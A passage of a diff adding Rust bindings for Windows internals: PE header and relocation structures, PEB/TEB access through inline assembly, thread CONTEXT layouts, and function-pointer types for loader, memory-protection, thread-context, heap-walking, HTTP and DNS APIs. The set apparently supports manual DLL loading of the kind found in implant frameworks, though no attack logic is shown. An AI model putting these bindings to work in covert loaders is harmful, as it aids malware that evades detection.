SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub ImageBase: u64, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER32 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub BaseOfData: DWORD, + pub ImageBase: DWORD, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: DWORD, + pub SizeOfStackCommit: DWORD, + pub SizeOfHeapReserve: DWORD, + pub SizeOfHeapCommit: DWORD, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: WORD, + pub NumberOfSections: WORD, + pub TimeDateStamp: DWORD, + pub PointerToSymbolTable: DWORD, + pub NumberOfSymbols: DWORD, + pub SizeOfOptionalHeader: WORD, + pub Characteristics: WORD, +} + +#[cfg(target_arch = "x86_64")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER32, +} + +pub type PIMAGE_NT_HEADERS = *mut IMAGE_NT_HEADERS; + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: DWORD, + pub TimeDateStamp: DWORD, + pub MajorVersion: WORD, + pub MinorVersion: WORD, + pub Name: DWORD, + pub Base: DWORD, + pub NumberOfFunctions: DWORD, + pub NumberOfNames: DWORD, + pub AddressOfFunctions: DWORD, + pub AddressOfNames: DWORD, + pub AddressOfNameOrdinals: DWORD, +} +pub type PIMAGE_EXPORT_DIRECTORY = *mut IMAGE_EXPORT_DIRECTORY; + +#[repr(C)] +#[derive(Copy, Clone)] +pub union IMAGE_SECTION_HEADER_Misc { + pub physical_address: u32, + pub virtual_size: u32, +} + +#[repr(C)] +pub struct IMAGE_SECTION_HEADER { + pub Name: [BYTE; 8], + pub Misc: IMAGE_SECTION_HEADER_Misc, + pub VirtualAddress: DWORD, + pub SizeOfRawData: DWORD, + pub PointerToRawData: DWORD, + pub PointerToRelocations: DWORD, + pub PointerToLinenumbers: DWORD, + pub NumberOfRelocations: WORD, + pub NumberOfLinenumbers: WORD, + pub Characteristics: DWORD, +} + +pub type PIMAGE_SECTION_HEADER = *mut IMAGE_SECTION_HEADER; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct IMAGE_RUNTIME_FUNCTION_ENTRY { + pub BeginAddress: DWORD, + pub EndAddress: DWORD, + pub UnwindInfoAddress: DWORD, +} + +pub type PIMAGE_RUNTIME_FUNCTION_ENTRY = *mut IMAGE_RUNTIME_FUNCTION_ENTRY; + +#[repr(C)] +pub struct IMAGE_IMPORT_DESCRIPTOR { + pub u: IMAGE_IMPORT_DESCRIPTOR_u, + pub TimeDateStamp: DWORD, + pub ForwarderChain: DWORD, + pub Name: DWORD, + pub FirstThunk: DWORD, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub union IMAGE_IMPORT_DESCRIPTOR_u { + pub Characteristics: DWORD, + pub OriginalFirstThunk: DWORD, +} + +pub type PIMAGE_IMPORT_DESCRIPTOR = *mut IMAGE_IMPORT_DESCRIPTOR; + +#[repr(C)] +pub struct IMAGE_THUNK_DATA64 { + pub u1: IMAGE_THUNK_DATA64_u1, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub union IMAGE_THUNK_DATA64_u1 { + pub ForwarderString: ULONGLONG, + pub Function: ULONGLONG, + pub Ordinal: ULONGLONG, + pub AddressOfData: ULONGLONG, +} + +pub type IMAGE_THUNK_DATA = IMAGE_THUNK_DATA64; +pub type PIMAGE_THUNK_DATA = *mut IMAGE_THUNK_DATA64; + +#[repr(C)] +pub struct IMAGE_IMPORT_BY_NAME { + pub Hint: WORD, + pub Name: [u8; 1], +} + +pub type PIMAGE_IMPORT_BY_NAME = *mut IMAGE_IMPORT_BY_NAME; + +#[repr(C)] +pub struct IMAGE_BASE_RELOCATION { + pub VirtualAddress: DWORD, + pub SizeOfBlock: DWORD, +} + +pub type PIMAGE_BASE_RELOCATION = *mut IMAGE_BASE_RELOCATION; + +#[repr(C)] +pub struct IMAGE_RELOC { + pub value: u16, +} + +impl IMAGE_RELOC { + #[inline(always)] + pub fn offset(&self) -> u16 { + self.value & 0x0FFF + } + + #[inline(always)] + pub fn reloc_type(&self) -> u16 { + self.value >> 12 + } +} + +pub type PIMAGE_RELOC = *mut IMAGE_RELOC; + +#[inline] +pub unsafe fn IMAGE_SNAP_BY_ORDINAL(ordinal: u64) -> bool { + (ordinal & IMAGE_ORDINAL_FLAG64) != 0 +} + +#[inline] +pub unsafe fn IMAGE_ORDINAL(ordinal: u64) -> u16 { + (ordinal & 0xFFFF) as u16 +} + +#[cfg(target_arch = "x86_64")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + unsafe { + let teb: PTEB; + core::arch::asm!( + "mov {}, gs:[0x30]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb + } +} + +#[cfg(target_arch = "x86")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + unsafe { + let teb: PTEB; + core::arch::asm!( + "mov {}, fs:[0x18]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb + } +} + +#[inline(always)] +pub unsafe fn IMAGE_FIRST_SECTION(nt: PIMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER { + unsafe { + (nt as *mut u8).add(core::mem::size_of::()) as PIMAGE_SECTION_HEADER + } +} + +#[cfg(target_arch = "x86_64")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} + +#[cfg(target_arch = "x86")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, fs:[0x30]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} + +pub type NTSTATUS = LONG; +pub const THREAD_ALL_ACCESS: u32 = 2097151u32; +pub type PSECURITY_DESCRIPTOR = PVOID; +pub type PUSER_THREAD_START_ROUTINE = + Option NTSTATUS>; +pub type PCLIENT_ID = *mut CLIENT_ID; +pub type PCONTEXT = *mut CONTEXT; +pub const CONTEXT_CONTROL: DWORD = 1_048_577; +pub const CONTEXT_FULL: DWORD = 1_048_587; + +#[repr(C, align(16))] +#[derive(Copy, Clone)] +pub struct CONTEXT { + pub P1Home: DWORD64, + pub P2Home: DWORD64, + pub P3Home: DWORD64, + pub P4Home: DWORD64, + pub P5Home: DWORD64, + pub P6Home: DWORD64, + pub ContextFlags: DWORD, + pub MxCsr: DWORD, + pub SegCs: WORD, + pub SegDs: WORD, + pub SegEs: WORD, + pub SegFs: WORD, + pub SegGs: WORD, + pub SegSs: WORD, + pub EFlags: DWORD, + pub Dr0: DWORD64, + pub Dr1: DWORD64, + pub Dr2: DWORD64, + pub Dr3: DWORD64, + pub Dr6: DWORD64, + pub Dr7: DWORD64, + pub Rax: DWORD64, + pub Rcx: DWORD64, + pub Rdx: DWORD64, + pub Rbx: DWORD64, + pub Rsp: DWORD64, + pub Rbp: DWORD64, + pub Rsi: DWORD64, + pub Rdi: DWORD64, + pub R8: DWORD64, + pub R9: DWORD64, + pub R10: DWORD64, + pub R11: DWORD64, + pub R12: DWORD64, + pub R13: DWORD64, + pub R14: DWORD64, + pub R15: DWORD64, + pub Rip: DWORD64, + pub u: CONTEXT_u, + pub VectorRegister: [M128A; 26], + pub VectorControl: DWORD64, + pub DebugControl: DWORD64, + pub LastBranchToRip: DWORD64, + pub LastBranchFromRip: DWORD64, + pub LastExceptionToRip: DWORD64, + pub LastExceptionFromRip: DWORD64, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub union CONTEXT_u { + pub all: [u64; 64], + pub flt_save: XMM_SAVE_AREA32, + pub s: CONTEXT_u_s, +} + +pub type XMM_SAVE_AREA32 = XSAVE_FORMAT; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct CONTEXT_u_s { + pub Header: [M128A; 2], + pub Legacy: [M128A; 8], + pub Xmm0: M128A, + pub Xmm1: M128A, + pub Xmm2: M128A, + pub Xmm3: M128A, + pub Xmm4: M128A, + pub Xmm5: M128A, + pub Xmm6: M128A, + pub Xmm7: M128A, + pub Xmm8: M128A, + pub Xmm9: M128A, + pub Xmm10: M128A, + pub Xmm11: M128A, + pub Xmm12: M128A, + pub Xmm13: M128A, + pub Xmm14: M128A, + pub Xmm15: M128A, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct XSAVE_FORMAT { + pub ControlWord: WORD, + pub StatusWord: WORD, + pub TagWord: BYTE, + pub Reserved1: BYTE, + pub ErrorOpcode: WORD, + pub ErrorOffset: DWORD, + pub ErrorSelector: WORD, + pub Reserved2: WORD, + pub DataOffset: DWORD, + pub DataSelector: WORD, + pub Reserved3: WORD, + pub MxCsr: DWORD, + pub MxCsr_Mask: DWORD, + pub FloatRegisters: [M128A; 8], + pub XmmRegisters: [M128A; 16], + pub Reserved4: [BYTE; 96], +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct M128A { + pub Low: ULONGLONG, + pub High: LONGLONG, +} + +pub type PTHREAD_START_ROUTINE = + Option DWORD>; + +pub const STATUS_SUCCESS: NTSTATUS = 0x00000000; +pub const STATUS_UNSUCCESSFUL: NTSTATUS = 0xC0000001u32 as i32; + +pub type FnLoadLibraryA = unsafe extern "system" fn(lpLibFileName: PSTR) -> HMODULE; + +pub type FnLoadLibraryExA = + unsafe extern "system" fn(lpLibFileName: LPCSTR, hFile: HANDLE, dwFlags: DWORD) -> HMODULE; + +pub type FnGetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PSTR) -> PVOID; + +pub type FnMessageBoxA = + unsafe extern "system" fn(hWnd: PVOID, lpText: PSTR, lpCaption: PSTR, uType: u32) -> i32; + +pub type FnRtlCreateUserThread = unsafe extern "system" fn( + Process: HANDLE, + ThreadSecurityDescriptor: PSECURITY_DESCRIPTOR, + CreateSuspended: BOOLEAN, + ZeroBits: ULONG, + MaximumStackSize: SIZE_T, + CommittedStackSize: SIZE_T, + StartAddress: PUSER_THREAD_START_ROUTINE, + Parameter: PVOID, + Thread: PHANDLE, + ClientId: PCLIENT_ID, +) -> NTSTATUS; + +pub type FnNtGetContextThread = + unsafe extern "system" fn(ThreadHandle: HANDLE, ThreadContext: PCONTEXT) -> NTSTATUS; + +pub type FnNtSetContextThread = + unsafe extern "system" fn(ThreadHandle: HANDLE, ThreadContext: PCONTEXT) -> NTSTATUS; + +pub type FnNtResumeThread = + unsafe extern "system" fn(ThreadHandle: HANDLE, PreviousSuspendCount: PULONG) -> NTSTATUS; + +pub type FnRtlUserThreadStart = + unsafe extern "system" fn(Function: PTHREAD_START_ROUTINE, Parameter: PVOID); + +pub type FnWaitForSingleObject = + unsafe extern "system" fn(hHandle: HANDLE, dwMilliseconds: DWORD) -> DWORD; + +pub type FnWaitForSingleObjectEx = + unsafe extern "system" fn(hHandle: HANDLE, dwMilliseconds: DWORD, bAlertable: BOOL) -> DWORD; + +pub type FnNtWaitForSingleObject = unsafe extern "system" fn( + Handle: HANDLE, + Alertable: BOOLEAN, + Timeout: PLARGE_INTEGER, +) -> NTSTATUS; + +pub type FnSleep = unsafe extern "system" fn(dwMilliseconds: DWORD); + +pub type FnExitThread = unsafe extern "system" fn(dwExitCode: DWORD) -> !; + +pub type FnNtAllocateVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, +) -> NTSTATUS; + +pub type FnNtFreeVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + FreeType: ULONG, +) -> NTSTATUS; + +pub type FnNtProtectVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: PULONG, +) -> NTSTATUS; + +pub type PRTL_HEAP_PARAMETERS = *mut RTL_HEAP_PARAMETERS; +#[repr(C)] +pub struct RTL_HEAP_PARAMETERS { + pub Length: ULONG, + pub SegmentReserve: SIZE_T, + pub SegmentCommit: SIZE_T, + pub DeCommitFreeBlockThreshold: SIZE_T, + pub DeCommitTotalFreeThreshold: SIZE_T, + pub MaximumAllocationSize: SIZE_T, + pub VirtualMemoryThreshold: SIZE_T, + pub InitialCommit: SIZE_T, + pub InitialReserve: SIZE_T, + pub CommitRoutine: PRTL_HEAP_COMMIT_ROUTINE, + pub Reserved: [SIZE_T; 2], +} + +pub type PRTL_HEAP_COMMIT_ROUTINE = Option< + unsafe extern "system" fn( + Base: PVOID, + CommitAddress: *mut PVOID, + CommitSize: PSIZE_T, + ) -> NTSTATUS, +>; + +pub type FnRtlCreateHeap = unsafe extern "system" fn( + Flags: ULONG, + HeapBase: PVOID, + ReserveSize: SIZE_T, + CommitSize: SIZE_T, + Lock: PVOID, + Parameters: PRTL_HEAP_PARAMETERS, +) -> PVOID; +pub type FnRtlAllocateHeap = + unsafe extern "system" fn(HeapHandle: PVOID, Flags: ULONG, Size: SIZE_T) -> PVOID; + +pub type FnRtlFreeHeap = + unsafe extern "system" fn(HeapHandle: PVOID, Flags: ULONG, BaseAddress: PVOID) -> BOOLEAN; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct RTL_HEAP_WALK_ENTRY_u_Block { + pub Settable: SIZE_T, + pub TagIndex: USHORT, + pub AllocatorBackTraceIndex: USHORT, + pub Reserved: [ULONG; 2], +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct RTL_HEAP_WALK_ENTRY_u_Segment { + pub CommittedSize: ULONG, + pub UnCommittedSize: ULONG, + pub FirstEntry: PVOID, + pub LastEntry: PVOID, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub union RTL_HEAP_WALK_ENTRY_u { + pub Block: RTL_HEAP_WALK_ENTRY_u_Block, + pub Segment: RTL_HEAP_WALK_ENTRY_u_Segment, +} + +#[repr(C)] +pub struct RTL_HEAP_WALK_ENTRY { + pub DataAddress: PVOID, + pub DataSize: SIZE_T, + pub OverheadBytes: UCHAR, + pub SegmentIndex: UCHAR, + pub Flags: USHORT, + pub u: RTL_HEAP_WALK_ENTRY_u, +} + +pub type PRTL_HEAP_WALK_ENTRY = *mut RTL_HEAP_WALK_ENTRY; + +pub type FnRtlWalkHeap = + unsafe extern "system" fn(HeapHandle: PVOID, Entry: PRTL_HEAP_WALK_ENTRY) -> NTSTATUS; + +pub type FnDbgPrint = unsafe extern "C" fn(Format: *const u8, ...) -> NTSTATUS; + +pub type FnInternetConnectA = unsafe extern "system" fn( + hInternet: HINTERNET, + lpszServerName: LPCSTR, + nServerPort: INTERNET_PORT, + lpszUserName: LPCSTR, + lpszPassword: LPCSTR, + dwService: DWORD, + dwFlags: DWORD, + dwContext: DWORD_PTR, +) -> HINTERNET; + +pub type FnInternetOpenA = unsafe extern "system" fn( + lpszAgent: LPCSTR, + dwAccessType: DWORD, + lpszProxy: LPCSTR, + lpszProxyBypass: LPCSTR, + dwFlags: DWORD, +) -> HINTERNET; + +pub type FnHttpOpenRequestA = unsafe extern "system" fn( + hConnect: HINTERNET, + lpszVerb: LPCSTR, + lpszObjectName: LPCSTR, + lpszVersion: LPCSTR, + lpszReferrer: LPCSTR, + lplpszAcceptTypes: *const LPCSTR, + dwFlags: DWORD, + dwContext: DWORD_PTR, +) -> HINTERNET; + +pub type FnHttpSendRequestA = unsafe extern "system" fn( + hRequest: HINTERNET, + lpszHeaders: LPCSTR, + dwHeadersLength: DWORD, + lpOptional: LPVOID, + dwOptionalLength: DWORD, +) -> BOOL; + +pub type FnHttpQueryInfoA = unsafe extern "system" fn( + hRequest: HINTERNET, + dwInfoLevel: DWORD, + lpBuffer: LPVOID, + lpdwBufferLength: LPDWORD, + lpdwIndex: LPDWORD, +) -> BOOL; + +pub type FnInternetReadFile = unsafe extern "system" fn( + hFile: HINTERNET, + lpBuffer: LPVOID, + dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: LPDWORD, +) -> BOOL; + +pub type FnInternetQueryDataAvailable = unsafe extern "system" fn( + hFile: HINTERNET, + lpdwNumberOfBytesAvailable: LPDWORD, + dwFlags: DWORD, + dwContext: DWORD_PTR, +) -> BOOL; + +pub type FnInternetCloseHandle = unsafe extern "system" fn(hInternet: HINTERNET) -> BOOL; + +pub type FnWinHttpOpen = unsafe extern "system" fn( + pszAgentW: LPCWSTR, + dwAccessType: DWORD, + pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, + dwFlags: DWORD, +) -> HINTERNET; + +pub type FnWinHttpConnect = unsafe extern "system" fn( + hSession: HINTERNET, + pswzServerName: LPCWSTR, + nServerPort: u16, + dwReserved: DWORD, +) -> HINTERNET; + +pub type FnWinHttpOpenRequest = unsafe extern "system" fn( + hConnect: HINTERNET, + pwszVerb: LPCWSTR, + pwszObjectName: LPCWSTR, + pwszVersion: LPCWSTR, + pwszReferrer: LPCWSTR, + ppwszAcceptTypes: *const LPCWSTR, + dwFlags: DWORD, +) -> HINTERNET; + +pub type FnWinHttpSendRequest = unsafe extern "system" fn( + hRequest: HINTERNET, + lpszHeaders: LPCWSTR, + dwHeadersLength: DWORD, + lpOptional: LPVOID, + dwOptionalLength: DWORD, + dwTotalLength: DWORD, + dwContext: DWORD_PTR, +) -> BOOL; + +pub type FnWinHttpReceiveResponse = + unsafe extern "system" fn(hRequest: HINTERNET, lpReserved: LPVOID) -> BOOL; + +pub type FnWinHttpQueryHeaders = unsafe extern "system" fn( + hRequest: HINTERNET, + dwInfoLevel: DWORD, + pwszName: LPCWSTR, + lpBuffer: LPVOID, + lpdwBufferLength: LPDWORD, + lpdwIndex: LPDWORD, +) -> BOOL; + +pub type FnWinHttpReadData = unsafe extern "system" fn( + hRequest: HINTERNET, + lpBuffer: LPVOID, + dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: LPDWORD, +) -> BOOL; + +pub type FnWinHttpQueryDataAvailable = + unsafe extern "system" fn(hRequest: HINTERNET, lpdwNumberOfBytesAvailable: LPDWORD) -> BOOL; + +pub type FnWinHttpCloseHandle = unsafe extern "system" fn(hInternet: HINTERNET) -> BOOL; + +pub type FnDnsExtractRecordsFromMessage_UTF8 = + unsafe extern "system" fn(pDnsBuffer: PVOID, wMessageLength: WORD, ppRecord: *mut PVOID) -> i32; + +pub type FnDnsWriteQuestionToBuffer_UTF8 = unsafe extern "system" fn( + pDnsBuffer: PVOID, + pdwBufferSize: LPDWORD, + lpstrName: LPCSTR, + wType: WORD, + Xid: WORD, + fRecursionDesired: BOOL, +) -> BOOL; + +pub type FnWSASocketA = unsafe extern "system" fn( + af: i32, + socket_type: i32, + protocol: i32, + lpProtocolInfo: LPVOID, + g: u32, + dwFlags: DWORD, +) -> usize; + +pub type FnAllocConsole = unsafe extern "system" fn() -> BOOL; +pub type FnGetStdHandle = unsafe extern "system" fn(nStdHandle: DWORD) -> HANDLE; +pub type FnWriteFile = unsafe extern "system" fn( + hFile: HANDLE, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: DWORD, + lpNumberOfBytesWritten: *mut DWORD, + lpOverlapped: PVOID, +) -> BOOL; + +pub type DLLMAIN = + unsafe extern "system" fn(ImageBase: HMODULE, Reason: DWORD, Parameter: LPVOID) -> BOOLEAN; + +pub const DLL_PROCESS_DETACH: DWORD = 0; +pub const DLL_PROCESS_ATTACH: DWORD = 1; +pub const DLL_THREAD_ATTACH: DWORD = 2; +pub const DLL_THREAD_DETACH: DWORD = 3; + +pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; +pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; +pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; +pub const IMAGE_DIRECTORY_ENTRY_IMPORT: usize = 1; +pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3; +pub const IMAGE_DIRECTORY_ENTRY_BASERELOC: usize = 5; +pub const IMAGE_DIRECTORY_ENTRY_TLS: usize = 9; + +#[repr(C)] +pub struct IMAGE_TLS_DIRECTORY64 { + pub StartAddressOfRawData: u64, + pub EndAddressOfRawData: u64, + pub AddressOfIndex: u64, + pub AddressOfCallBacks: u64, + pub SizeOfZeroFill: u32, + pub Characteristics: u32, +} + +pub const IMAGE_REL_BASED_DIR64: u32 = 10; +pub const IMAGE_REL_BASED_HIGHLOW: u32 = 3; +pub const IMAGE_ORDINAL_FLAG64: u64 = 0x8000000000000000; + +pub const IMAGE_SCN_MEM_EXECUTE: DWORD = 0x20000000; +pub const IMAGE_SCN_MEM_READ: DWORD = 0x40000000; +pub const IMAGE_SCN_MEM_WRITE: DWORD = 0x80000000; + +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; +pub const MEM_TOP_DOWN: u32 = 0x100000; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; +pub const PAGE_EXECUTE_WRITECOPY: DWORD = 0x80; +pub const PAGE_WRITECOPY: DWORD = 0x08; +pub const PAGE_EXECUTE: DWORD = 0x10; +pub const PAGE_NOACCESS: DWORD = 0x01; +pub const PAGE_READONLY: DWORD = 0x02; +pub const HEAP_GROWABLE: u32 = 0x00000002; +pub const HEAP_ZERO_MEMORY: DWORD = 0x00000008; +pub const RTL_PROCESS_HEAP_ENTRY_BUSY: USHORT = 0x0001; +pub const PAGE_SIZE: usize = 0x1000; +pub const EVENT_ALL_ACCESS: DWORD = 2_031_619; +pub const DONT_RESOLVE_DLL_REFERENCES: DWORD = 0x00000001; + +pub const MB_OK: u32 = 0x00000000; +pub const STD_OUTPUT_HANDLE: DWORD = 0xFFFFFFF5u32; + +pub type FnRtlInitAnsiString = + unsafe extern "system" fn(DestinationString: PANSI_STRING, SourceString: PCSZ); + +pub type FnRtlAnsiStringToUnicodeString = unsafe extern "system" fn( + DestinationString: PUNICODE_STRING, + SourceString: PCANSI_STRING, + AllocateDestinationString: BOOLEAN, +) -> NTSTATUS; + +pub type FnRtlInitUnicodeString = + unsafe extern "system" fn(DestinationString: PUNICODE_STRING, SourceString: PCWSTR); + +pub type FnLdrLoadDll = unsafe extern "system" fn( + DllPath: PWSTR, + DllCharacteristics: PULONG, + DllName: PUNICODE_STRING, + DllHandle: *mut PVOID, +) -> NTSTATUS; + +pub type FnLdrGetProcedureAddress = unsafe extern "system" fn( + DllHandle: PVOID, + ProcedureName: PANSI_STRING, + ProcedureNumber: ULONG, + ProcedureAddress: *mut PVOID, +) -> NTSTATUS; + +pub type FnRtlFreeUnicodeString = unsafe extern "system" fn(UnicodeString: PUNICODE_STRING); + +pub type FnRtlRandomEx = unsafe extern "C" fn(Seed: PULONG) -> ULONG; + +pub type FnLdrUnloadDll = unsafe extern "system" fn(DllHandle: PVOID) -> NTSTATUS; + +pub type FnNtAlertResumeThread = + unsafe extern "system" fn(ThreadHandle: HANDLE, PreviousSuspendCount: PULONG) -> NTSTATUS; + +pub type FnNtClose = unsafe extern "system" fn(Handle: HANDLE) -> NTSTATUS; + +pub type FnNtSetEvent = + unsafe extern "system" fn(EventHandle: HANDLE, PreviousState: *mut LONG) -> NTSTATUS; + +pub type FnNtContinue = + unsafe extern "system" fn(ContextRecord: PCONTEXT, TestAlert: BOOLEAN) -> NTSTATUS; + +pub type ACCESS_MASK = DWORD; + +#[repr(C)] +pub struct OBJECT_ATTRIBUTES { + pub Length: ULONG, + pub RootDirectory: HANDLE, + pub ObjectName: PUNICODE_STRING, + pub Attributes: ULONG, + pub SecurityDescriptor: PVOID, + pub SecurityQualityOfService: PVOID, +} +pub type POBJECT_ATTRIBUTES = *mut OBJECT_ATTRIBUTES; + +#[repr(C)] +pub enum EVENT_TYPE { + NotificationEvent, + SynchronizationEvent, +} + +pub type FnNtCreateEvent = unsafe extern "system" fn( + EventHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + EventType: EVENT_TYPE, + InitialState: BOOLEAN, +) -> NTSTATUS; + +pub type PPS_ATTRIBUTE_LIST = *mut PS_ATTRIBUTE_LIST; + +#[repr(C)] +pub struct PS_ATTRIBUTE_LIST { + pub TotalLength: SIZE_T, + pub Attributes: [PS_ATTRIBUTE; 1], +} + +#[repr(C)] +pub struct PS_ATTRIBUTE { + pub Attribute: ULONG_PTR, + pub Size: SIZE_T, + pub u: PS_ATTRIBUTE_u, + pub ReturnLength: PSIZE_T, +} + +#[repr(C)] +pub union PS_ATTRIBUTE_u { + pub Value: ULONG_PTR, + pub ValuePtr: PVOID, +} + +pub type FnNtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PPS_ATTRIBUTE_LIST, +) -> NTSTATUS; + +pub type FnNtOpenThread = unsafe extern "system" fn( + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ClientId: PCLIENT_ID, +) -> NTSTATUS; + +pub const ProcessCookie: PROCESSINFOCLASS = 36; +pub const ProcessUserModeIOPL: PROCESSINFOCLASS = 16; +pub type PROCESSINFOCLASS = u32; + +pub type FnNtQueryInformationProcess = unsafe extern "system" fn( + ProcessHandle: HANDLE, + ProcessInformationClass: PROCESSINFOCLASS, + ProcessInformation: PVOID, + ProcessInformationLength: ULONG, + ReturnLength: *mut ULONG, +) -> NTSTATUS; + +#[repr(C, packed)] +pub struct EXTENDED_PROCESS_INFORMATION { + pub ExtendedProcessInfo: ULONG, + pub ExtendedProcessInfoBuffer: ULONG, +} +pub type PEXTENDED_PROCESS_INFORMATION = *mut EXTENDED_PROCESS_INFORMATION; + +#[repr(u32)] +pub enum SYSTEM_INFORMATION_CLASS { + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeparation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 